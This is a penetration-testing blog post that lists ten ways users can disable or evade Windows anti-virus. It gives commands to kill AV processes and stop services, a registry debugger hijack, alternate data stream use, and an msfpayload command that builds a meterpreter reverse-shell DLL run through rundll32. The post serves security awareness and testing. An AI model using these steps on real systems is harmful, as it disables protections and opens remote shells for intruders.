10 Evil User Tricks for Bypassing Anti-Virus

Introduction

Many anti-virus solutions are deployed with weak configurations that provide end users with the ability to quickly disable or work around the product if they wish. As a result, even users without super hacker “skillz” can run malicious executables (intentionally or not) without having to actually modify them in any way to avoid detection. Naturally, such techniques lend themselves well to penetration testing. This blog will provide a brief overview of 10 issues to watch out for. It should be interesting to administrators looking for basic weaknesses in their current implementations. However, it will most likely be less interesting to the veteran pentester. Short disclaimer: This is far from complete, and truth be told there is no perfect anti-anything. In spite of that, I hope that you enjoy the read. I’ve provided a summary of what will be covered for those who don’t feel like reading the whole blog first.

1. Add Anti-Virus Policy Exceptions
2. Disable Anti-Virus via the GUI
3. Terminate Anti-Virus Processes
4. Stop and Disable Anti-Virus Services
5. Disable Anti-Virus via Debugger Settings
6. Uninstall Anti-Virus
7. Execute from a UNC Path or Removable Media
8. Execute from an Alternative Data Stream
9. Execute from a DLL
10. Execute from Outside the File Systems

Add Anti-Virus Policy Exceptions

A fun option that occasionally works is creating custom exceptions to the anti-virus solution’s policy. For example, an end user could create an exception that would allow all files with the “.exe” extension to run on the system. As a result, most malware and “hacker tools” would not get blocked or deleted. For an example of how this could be accomplished in the Symantec End Point Protection product, please refer to the following Symantec help page:
http://www.symantec.com/business/support/index?page=content&id=TECH104326

Disable Anti-Virus via the GUI

This is less common in recent years, but historically non-administrative users had the privileges to disable many anti-virus solutions via the GUI interface. It used to be as simple as right-clicking the taskbar icon and choosing disable. As you can imagine, the skill level required to execute this bypass is low, but the risk to an organization is high.

Terminate Anti-Virus Processes

Some anti-virus solutions consist of multiple services that like to continuously restart each other. That's when terminating the process before disabling a service can come in handy. Usually the taskkill command can be used. That's essentially what the Metasploit post module "killav" does. A closer look at the module can be found here: https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb You can issue the command below to forcefully kill a task manually with taskkill :

```
Taskkill /F /IM avprocess.exe
```

Stop and Disable Anti-Virus Services

In some cases users don't have the privileges to disable anti-virus via the GUI, but they do have control over the associated services. If that is the case, then anti-virus services can usually be stopped and disabled. This can be accomplished via services.msc, the "sc" command, or the "net stop" command. However, always make sure to be a good little pentester and restore the services to their original state before logging out of the system. To stop a Windows service issue the following command:

```
net stop “service name”
```

To disable a Windows service issue the following command:

```
sc config "service name" start= disabled
```

The services.msc console can be also be used to stop and disabled services via a GUI interface. It can be accessed by navigating to start->run, and typing "services.msc".

Disable Anti-Virus via Debugger Setting

This is a very cool trick that Khai Tran told me about. The original article he referenced can be found at http://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx. I recommend taking a look at it. In short, it says that users have the ability to prevent anti-virus from running by setting a custom debugger in the registry. When the operating system or user attempts to execute anti-virus the specified debugger is executed instead. Very clever, Internet, very clever. Apparently this has been used by malware developers for years. The basic steps for conducting the attack have been provided below. Please note that these were taken from the link above.

1. Run regedit.exe
2. Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
3. Create a new key (example: calc.exe)
4. Create a new string value under your exe. The name of the string value is 'Debugger', and the value is svchost.exe (or anything)

Uninstall Anti-Virus Software

Although I don't recommend uninstalling anti-virus during a penetration test, it can still be considered a valid bypass method. Some solutions may require a password before the uninstall process can begin. In those instances, the password can usually be found in the registry or an ini file on the system. However, other bypass methods are available like the one described within the article link below. It recommends simply terminating the “msiexec.exe” process when prompted for the uninstall password. http://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/

Execute from a UNC Path or Removable Media

Some solutions are not configured to scan or prevent the execution of malicious binaries from SMB or WebDAV when accessed via the UNC path. It’s strange, but true. As a result, attackers can simply map an evil share containing backdoors, hacker tools etc., and execute malware to their hearts’ content. I guess some people are under the impression that malware can’t be stored on network drives. Similarly, some solutions are not configured to scan or prevent the execution of binaries from removable media such as an SD card, iPod, or USB drive. It’s pretty common to drop evil USB drives during onsite social engineering engagements, so this one scares me a little.

Execute from Alternative Data Streams

Alternative data streams allow users to store data in a file via an extended file name. Microsoft says, “By default, all data is stored in a file’s main unnamed data stream, but by using the syntax ‘file:stream’, you are able to read and write to alternates.”. Malware commonly stores text, payloads, and even full binaries in alternative streams. Historically anti-virus solutions have missed a lot of malware that uses alternative data streams. However, AV has gotten much better at finding them over the years. You can scan your system for files containing alternative data streams with streams (http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx) tool from the Sysinternals toolkit. Also, you can try the technique out for yourself using the basic example below. Echo the text “Hello world” into a new file’s main data stream:

```
echo Hello world > file
```

Echo the text “Hello Evil” into an alternative data stream:

```
echo Hello evil > file:evil
```

Read from the file’s main data stream:

```
type file
```

Read from the file’s alternative data stream:

```
type file:evil
```

Execute from a DLL

In some cases I’ve found that anti-virus solutions miss malicious code if it’s placed into a DLL instead of an EXE file. I’ve provide a basic example of how to generate and run a DLL using the Metasploit Framework below. Create an evil DLL containing a meterpreter payload with the msfpayload command:

```
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D >
evil.dll
```

Run the DLL main function with Rundll32 command:

```
Rundll32 evil.dll, @DllMain12
```

Execute from Outside the File System

Apparently, some malware stores and executes code from outside of the file system on the disk. It sounds like you can access the code by referencing the physical drive in some way. I haven't had time to really explore this one, but it is touched in the book "Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software". Excellent read in my opinion. I'll share once I know more. If anyone has the details let me know.

Wrap Up

Hopefully you've had some fun experimenting and have a better understanding of the level of protection most anti-virus solutions truly offer. I'm working on a few other blogs that focus on bypassing anti-virus via source code, binary, and process manipulation that should also add some insight into common bypass methods. In the meantime, have fun and hack responsibility.